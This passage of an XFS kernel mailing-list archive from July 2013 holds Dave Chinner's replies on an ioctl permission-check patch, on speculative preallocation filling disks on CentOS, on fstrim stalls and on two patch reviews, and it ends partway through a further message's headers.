X-IronPort-Anti-Spam-Result: AqgGAMMc81F5LPxH/2dsb2JhbABbgwa5L4UygRkXdIIkAQEEAScTHCMFCwgDGAklDwUlAyEThhGBeQW4dRaOMgEHgS0HhAUDl16RTYMmKoEsAQgX Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 27 Jul 2013 10:39:55 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2t16-0000Rk-DY; Sat, 27 Jul 2013 11:09:52 +1000 Date: Sat, 27 Jul 2013 11:09:52 +1000 From: Dave Chinner To: Dwight Engen Cc: xfs@oss.sgi.com, Brian Foster Subject: Re: [PATCH v6 6/7] xfs: add permission check to free eofblocks ioctl Message-ID: <20130727010952.GQ13468@dastard> X-ASG-Orig-Subj: Re: [PATCH v6 6/7] xfs: add permission check to free eofblocks ioctl References: <20130725114946.13c7e4ad@oracle.com> <20130726012927.GC21982@dastard> <20130726152937.2eb3b4f0@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130726152937.2eb3b4f0@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374887396 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137337 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC5_SA210e Custom Rule SA210e On Fri, Jul 26, 2013 at 03:29:37PM -0400, Dwight Engen wrote: > On Fri, 26 Jul 2013 11:29:27 +1000 > Dave Chinner wrote: > > > On Thu, Jul 25, 2013 at 11:49:46AM -0400, Dwight Engen wrote: > > > We need to check that userspace callers can only truncate > > > preallocated blocks from files they have write access to to prevent > > > them from prematurley reclaiming blocks from another user. The > > > internal reclaimer will not specify the internal > > > XFS_KEOF_FLAGS_PERM_CHECK flag, but callers from userspace will > > > have it forced on. > > > > > > Add check for read-only filesystem to free eofblocks ioctl. > > > > OK, so let me preface this by saying I understand a lot more about > > user namespaces that I did a week ago... > > > > Firstly, this ioctls allows any user to call this function with > > arbitrary uid/gid/prid values here. Regardless of user namespaces, I > > think that the only UID/GID that should be allowed to be passed for > > a user context is their own UID/GID. There's no point in allowing a > > scan if the inode_permission()/uid/gid matching checks are always > > going to fail. > > Hi Dave, I agree this patch isn't really about user namespaces. The > reason for using inode_permission instead of just checking > eofblocks->gid == current_fsgid is that the caller might want to trim > an inode they have group write to but is not current_fsgid. Sure. in_group_p() can be used to check if the user is a member of the gid passed in. That's all inode_permission() ends up doing... > When a caller passes in a uid/gid/projid, they are asking us to > consider a smaller subset of inodes for trimming. If they don't pass in > uid/gid/projid, the list of inodes is unfiltered and the > inode_permission is what ensures they should be able to effect a > particular inode. A user should not be able to scan the world - they should only be allowed to ask for scans that match their permissions. That is, we need to be restrictive by default, not permissive. It's easy to relax permission in future if there is a need, but right now I think we need to err on the side of caution and scrictly defining the uids/gids we allow users to specify. This doesn't mean we don't need the inode_permission() check in the mechanism that does the scanning - what I'm talking about here is strictly defining the interface and hence behaviour we expose to userspace here. > > Secondly, because a user can issue an arbitrary number of concurrent > > scans, I'd suggest we serialise all user scans through a per-mount > > mutex. i.e. there can only be one user scan in progress at a time. > > For users with capable(CAP_SYS_ADMIN), we don't need to serialise > > them as we let root in the init userns shoot themselves in the foot > > all they want. > > I can add this. > > > Thirdly, project quotas are not really a user controlled resource > > and so I don't think we want users calling this ioctl to trim > > project quotas. Indeed, the files in the project that need trimming > > may not even belong to the user running the scan, and hence the > > user will never be allowed to trim the EOF blocks. > > > > Further, project quotas might underly the namespace container and be > > used for limiting the disk space the namespace container uses. In > > which case, we don't even want access to the project ID scanning > > from within the namespace. > > > > Because of this, I'd suggest that project ID scans need a > > "capable(CAP_SYS_ADMIN)" check on them. This means a project ID scan > > can only be run from the init_userns - it cannot be done from within > > the userns container at all. > > I don't think this would be preventing anything the user can already do: > the user just doesn't specify a projid and so we will just look at all > the nodes. Sure, but you are missing the point of what I was trying to get across: We should not allow users to do unfiltered scans. i.e. they must be explicit in their scan request, and have explicit ownership of the inodes that are trimmed. We didn't get this right in the initial implementation, but given that there aren't any users of the interface outside of prototype code, we still have the flexibility to restrict it down. The reason this is so complex is that the scan is not namespace aware, and so files hidden behind limited accees directory permissions would be considered targets of eof trimming even though the user doesn't have access to the files or even know they exist. That's the big issue here - inode_permission() assumes that we've already done all the directory traversal permission checks to determine that we actually have permission to know about the inode's existance. Here we are doing a cache traversal that doesn't know anything about the heirarchy. Hence we must be restrictive for user-driven scans, otherwise they can affect files that they would not otherwise have access to. That's why I'm suggesting that they should be limited to a direct matches with their uid and primary gid. Supplemental gids are problematic as they are often used for defining special permissions (e.g. sudo groups), and so perhaps we should limit gid scans to groups that have quota limits associated with them (i.e. only the groups that a group-based scan is relevant to). > Specifying a uid/gid/projid only filters/limits the amount of > nodes we'll consider, which I think could be useful ie. the caller > passes in a projid which will only trim inodes that match the projid > and which the caller has inode_permission to. See my comments about the problems with using inode_permission() like this above. In addition to the lack of namespace checking, the project ID might be a property controlled externally to the user namespace. Hence we cannot allow users within a namespace to filter on it at all. Indeed, we need to ensure that the quota interfaces won't allow the project id limits to be modified, that queries for project quotas are rejected from within namespaces, etc. Basically, until we have worked out *if* project quotas can be used safely within user namespaces, we need to reject any attempt to use them from within a user namespace container. > > ..... > > > diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c > > > index ed35584..a80f38c 100644 > > > --- a/fs/xfs/xfs_icache.c > > > +++ b/fs/xfs/xfs_icache.c > > > @@ -1247,6 +1247,10 @@ xfs_inode_free_eofblocks( > > > if (!xfs_inode_match_id(ip, eofb)) > > > return 0; > > > > > > + if ((eofb->eof_flags & XFS_KEOF_FLAGS_PERM_CHECK) > > > && > > > + inode_permission(VFS_I(ip), MAY_WRITE)) > > > + return 0; > > > > Lastly, what happens if this inode_permission() call occurs in the > > context of a kworker thread. What userns does an anonymous kworker > > thread run in? It's the init userns, right? so: > > > > inode_permission(inode, MAY_WRITE); > > generic_permission(inode, MAY_WRITE) > > inode_capable(inode, CAP_DAC_OVERRIDE) > > { > > ns = current_user_ns(); > > return ns_capable(ns, cap) && > > kuid_has_mapping(ns, inode->i_uid); > > } > > > > If we are running in the init_userns as a kernel thread, the > > ns_capable() check will return true, and there's always a mapping in > > the init namespace so kuid_has_mapping() will return true. Hence > > we'll always have write permission to every inode we check, > > regardless of the XFS_KEOF_FLAGS_PERM_CHECK flag. > > > > IOWs, this permission check is useless if we run the scan via a > > workqueue. Hence we need to be *very careful* with the way we > > execute scans and so this needs big, loud comments around it to > > remind us to be careful in the future. > > Right, the XFS_KEOF_FLAGS_PERM_CHECK flag should not be on for internal > contexts so the inode_permission check won't even be done (and it would > pass anyway as you mention). I can add a big comment that > XFS_KEOF_FLAGS_PERM_CHECK should only be used from process context > because it won't work otherwise. I thikn you missed my point - there's nothing stopping code in a user context from doing: queue_work(......) flush_workqueue(....) and that work is run in the context of a workqueue and the above issue with inode_permission() comes for the fore. That's a *massive* security hole and the only way we can avoid that is by making sure everyone knows about the restrictions permission checking place on a specific code path. We are trending towards pushing more and more work into workqueues for async processing. If we are architecting code that is required to run in user context for security reasons, we need big, loud comments all over that code reminding us of this fact. I rely on comments in the code to remind me why we did something 2-3 years ago. I do not want to have to search list archives or git history just to find out something that could have easily been docuemented in a 5 line comment... IMO, the XFS_KEOF_FLAGS_PERM_CHECK flag is not sufficient to document this restriction - my point was that it is redundant. i.e. it is only used for workqueue based scans where the permission checks don't restrict anything... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Jul 26 20:26:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 79C397F51 for ; Fri, 26 Jul 2013 20:26:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3231E8F8035 for ; Fri, 26 Jul 2013 18:26:57 -0700 (PDT) X-ASG-Debug-ID: 1374888415-04bdf02f20ff6d0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id kIi9YQ5jyGmlniXN for ; Fri, 26 Jul 2013 18:26:55 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqgGAD0h81F5LPxH/2dsb2JhbABbgwa5L4UygRkXdIIkAQEEATocIwULCAMOCgklDwUlAyETiAoFuHQWjjGBNgeEBQOXXpFNgyYqgTU Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 27 Jul 2013 10:56:54 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2tHZ-0000TU-Rk; Sat, 27 Jul 2013 11:26:53 +1000 Date: Sat, 27 Jul 2013 11:26:53 +1000 From: Dave Chinner To: Jason Rosenberg Cc: xfs@oss.sgi.com Subject: Re: understanding speculative preallocation Message-ID: <20130727012653.GR13468@dastard> X-ASG-Orig-Subj: Re: understanding speculative preallocation References: <1374823420041-35002.post@n7.nabble.com> <20130726115021.GO13468@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374888415 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137338 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jul 26, 2013 at 01:40:16PM -0400, Jason Rosenberg wrote: > Hi Dave, > > Thanks for your responses. I'm a bit confused, as I didn't see your > responses on the actual forum (only in my email inbox). I'm replying from the list ;) [ If you have a dup filter like I do, then I only get one copy of anything that is sent to me when there are multiple cc's. My procmail rules determine where it gets stored.... ] > Anyway, I'm surprised that you don't have some list or other way to > correlate version history of XFS, with os release versions. Of course we do. > I'm guessing > the version I have is not using the latest/greatest. We actually have > another system that uses an older version of the kernel (2.6.32-279), and > it behaves differently (it still preallocates space beyond what will ever > be used, but not by quite as much). When we rolled out our newer machines > to 2.6.32-358, we started seeing a marked increase in disk full problems. Disclaimer: I'm the primary RHEL XFS developer, employed by Red Hat. CentOS is a rebadged RHEL product that is released for free. If you want bugs fixed in CentOS, then generally you are on your own. If you want paid support where people will fix problems you have, you need to pay for RHEL. You get what you pay for. > If, say you tell me, the mainline xfs code has improved behavior, it would > be nice to have a way to know which version of CentOS might include that? Well, that depends on what Red Hat do with RHEL, because CentOS simply rebuild what Red Hat releases. > Telling me to read source code across multiple kernel versions sounds like > an interesting endeavor, but not something that is the most efficient use > of my time, unless there truly is no one who can easily tell me anything > about xfs version history. So, you want me to read it for you instead, then document it for you? i.e. spend a day not fixing bugs and developing new code to document the history of something that you can find out by looking in git and rpms yourself? Unless you are offering to pay someone to do it, I don't see it happening... Open source != free lunch. > Do you have any plans to have some sort of improved documentation story > around this? No. > This speculative preallocation behavior is truly unexpected > and not transparent to the user. Which is why we've been fixing it. The problems you are reporting are already fixed in the mainline kernel. > I can see that it's probably a great > performance boost (especially for something like kafka), but kafka does > have predictable log file rotation capped at fixed sizes, so it would be > great if that could be factored in. Mainline already does handle this, in a much more generic manner. If any file with speculative prealloc beyond EOF remains clean for 5 minutes, then the specualtive prealloc is removed. Hence 5 minutes after you log file is rotated, it will have the excess space removed. > I suppose using the allocsize setting might work in the short term. But I > probably don't want to set allocsize to 1Gb, since that would mean every > single file created would start with that size, is that right? Does the > allocsize setting basically work by always keeping the file size ahead of > consumed space by the allocsize amount? Effectively. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Jul 26 20:30:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1CA227F6A for ; Fri, 26 Jul 2013 20:30:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 013148F8035 for ; Fri, 26 Jul 2013 18:30:29 -0700 (PDT) X-ASG-Debug-ID: 1374888627-04cb6c2e9ff71e0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id cRfHU0H80ZAPEWvB for ; Fri, 26 Jul 2013 18:30:28 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqgGAD0h81F5LPxH/2dsb2JhbABbgwa5L4UygRkXdIIkAQEFOhwjEAgDDgoJJQ8FJQMhExuHdLh0Fo4+gSkHhAUDl16RTYMmKoEt Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 27 Jul 2013 11:00:27 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2tKy-0000Tf-TZ; Sat, 27 Jul 2013 11:30:24 +1000 Date: Sat, 27 Jul 2013 11:30:24 +1000 From: Dave Chinner To: Jason Rosenberg Cc: Ben Myers , stan@hardwarefreak.com, xfs@oss.sgi.com Subject: Re: understanding speculative preallocation Message-ID: <20130727013024.GS13468@dastard> X-ASG-Orig-Subj: Re: understanding speculative preallocation References: <1374823420041-35002.post@n7.nabble.com> <20130726115021.GO13468@dastard> <51F2CD8B.8080207@hardwarefreak.com> <20130726205018.GM3111@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374888627 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137338 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jul 26, 2013 at 05:11:55PM -0400, Jason Rosenberg wrote: > Is it safe to say that speculative preallocation will not be used if a file > is opened read-only? > > It turns out that the kafka server does indeed write lots of log files, and > rotate them after they reach a max size, but never closes the files until > the app exits, or until it deletes the files. This is because it needs to > make them available for reading, etc. So, an obvious change for kafka > might be to close each log file after rotating, and then re-open it > read-only for consumers of the data. Does that sound like a solution that > would pro-actively release pre-allocated storage? No need - the mainline code that has a periodic background scan that stops buildup of unused prealocation. i.e. if the file is clean for 5 minutes, then the prealloc will be removed. Hence it doesn't matter what the application does with it - if it holds it open and doesn't write to the file, then the prealloc will get removed. More will be added the next time the file is written, but until then it won't use excessive space. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Jul 26 20:50:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E44F87F6F for ; Fri, 26 Jul 2013 20:50:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C057C8F8033 for ; Fri, 26 Jul 2013 18:50:34 -0700 (PDT) X-ASG-Debug-ID: 1374889832-04cb6c2e9cf8610001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id jyUbU0mCsXksCivZ; Fri, 26 Jul 2013 18:50:32 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqgGAO8l81F5LPxH/2dsb2JhbABTCIMGuS+FMoEZF3SCJAEBBTocIxAIAw4KCSUPBSUDIROID7h+Fo40gTMHhAUDl16RTYMmKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 27 Jul 2013 11:20:31 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2teP-0000VS-2j; Sat, 27 Jul 2013 11:50:29 +1000 Date: Sat, 27 Jul 2013 11:50:29 +1000 From: Dave Chinner To: Stefan Priebe Cc: "xfs@oss.sgi.com" , "xfs-masters@oss.sgi.com" Subject: Re: [xfs-masters] how to use fstrim? Message-ID: <20130727015029.GT13468@dastard> X-ASG-Orig-Subj: Re: [xfs-masters] how to use fstrim? References: <51F2BD31.5060301@profihost.ag> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F2BD31.5060301@profihost.ag> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374889832 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137338 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jul 26, 2013 at 08:17:21PM +0200, Stefan Priebe wrote: > Hi, > > what is the right way to use fstrim on top of XFS? just doing fstrim > -v -m 4194304 / > > results sometimes (might depend on disk i/o) to hanging tasks and > stack traces - fstrim needs > 5 min in these cases. It does indeed depend on disk IO. XFS walks all the free space and issues discards on it, so runtime is always O(freespace). And while it is walking an AG discarding the free space, it will hold the AG locked so that free space doesn't change. This can hang other operations for the length of time it takes to discard all the free space in the AG. IOWs, the behaviour of fstrim on XFS is entirely dependent on the speed of the block layer and hardware implementations of discards. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Jul 26 20:55:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9D0127F4E for ; Fri, 26 Jul 2013 20:55:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 88782304077 for ; Fri, 26 Jul 2013 18:55:25 -0700 (PDT) X-ASG-Debug-ID: 1374890123-04cb6c153df42f0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id KWGg29CRnxSDqq4i for ; Fri, 26 Jul 2013 18:55:24 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqcGABsn81F5LPxH/2dsb2JhbABbgwa5L4UygRkXdIIkAQEFOhwjEAgDFQMJJQ8FJQMhE4gPuHsWj2cHhAUDl16KIocrgyYq Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 27 Jul 2013 11:25:23 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2tj8-0000W0-CX; Sat, 27 Jul 2013 11:55:22 +1000 Date: Sat, 27 Jul 2013 11:55:22 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 24/49] xfs: kill xfs_vnodeops.[ch] Message-ID: <20130727015522.GU13468@dastard> X-ASG-Orig-Subj: Re: [PATCH 24/49] xfs: kill xfs_vnodeops.[ch] References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-25-git-send-email-david@fromorbit.com> <51F2CB91.3020801@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F2CB91.3020801@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374890123 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137338 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jul 26, 2013 at 02:18:41PM -0500, Mark Tinguely wrote: > On 07/19/13 01:24, Dave Chinner wrote: > >From: Dave Chinner > > > >Now we have xfs_inode.c for holding kernel-only XFS inode > >operations, move all the inode operations from xfs_vnodeops.c to > >this new file as it holds another set of kernel-only inode > >operations. The name of this file traces back to the days of Irix > >and it's vnodes which we don't have anymore. > > > >Essentially this move consolidates the inode locking functions > >and a bunch of XFS inode operations into the one file. Eventually > >the high level functions will be merged into the VFS interface > >functions in xfs_iops.c. > > > >This leaves only internal preallocation, EOF block manipulation and > >hole punching functions in vnodeops.c. Move these to xfs_bmap_util.c > >where we are already consolidating various in-kernel physical extent > >manipulation and querying functions. > > > >Signed-off-by: Dave Chinner > >--- > > As already mentioned, xfs_inode_fork.c still has a unwanted include > of now removed xfs_vnodeops.h. > > A xfs_qm_dqrele(pdqp) does not exist in the copied code: Yes, already fixed that here. It was causing test failures on xfs/050. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Jul 26 20:58:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CDB527F76 for ; Fri, 26 Jul 2013 20:58:30 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 73A63AC004 for ; Fri, 26 Jul 2013 18:58:27 -0700 (PDT) X-ASG-Debug-ID: 1374890305-04bdf02f21101560001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id DRfPpzxDrqRqAWMz for ; Fri, 26 Jul 2013 18:58:25 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlAOAEco81F5LPxH/2dsb2JhbABBGoMGNaolAo5ThTKBGRd0giQBAQU6HCMQCAMYCSUPBSUDIROIDw0zuDwWj2cHhAUDl16RTYMmKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 27 Jul 2013 11:28:24 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2tm2-0000WS-Gy; Sat, 27 Jul 2013 11:58:22 +1000 Date: Sat, 27 Jul 2013 11:58:22 +1000 From: Dave Chinner To: Mark Tinguely Cc: "Michael L. Semon" , xfs@oss.sgi.com Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion Message-ID: <20130727015822.GV13468@dastard> X-ASG-Orig-Subj: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-45-git-send-email-david@fromorbit.com> <51EEF26F.5040001@sgi.com> <51EEF949.9020104@gmail.com> <51EFD68A.40400@sgi.com> <51F2E011.5020904@gmail.com> <51F2E4DD.4020301@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F2E4DD.4020301@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374890305 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137338 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On Fri, Jul 26, 2013 at 04:06:37PM -0500, Mark Tinguely wrote: > > I can reproduce a problem in patch 44 too. It takes my copy test 20 > minutes to deplete the log space with patch 44, Same test with patch > 43 has been running a day and a half. I do not think that patch 44 > is 100 times faster than patch 43 but I will let patch 43 spin all > weekend on a couple machines to verify that patch 43 does not hang. Details, please. What's your "copy test"? http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F Cheers, Dave. -- Dave Chinner david@fromorbit.com From stan@hardwarefreak.com Fri Jul 26 22:52:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id ACD2B29E03 for ; Fri, 26 Jul 2013 22:52:26 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8D6FD8F8033 for ; Fri, 26 Jul 2013 20:52:23 -0700 (PDT) X-ASG-Debug-ID: 1374897142-04bdf02f20109480001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id rJgGV2WC0bH7F0zv for ; Fri, 26 Jul 2013 20:52:22 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id F40436C058 for ; Fri, 26 Jul 2013 22:52:21 -0500 (CDT) Message-ID: <51F343F5.5080709@hardwarefreak.com> Date: Fri, 26 Jul 2013 22:52:21 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) References: 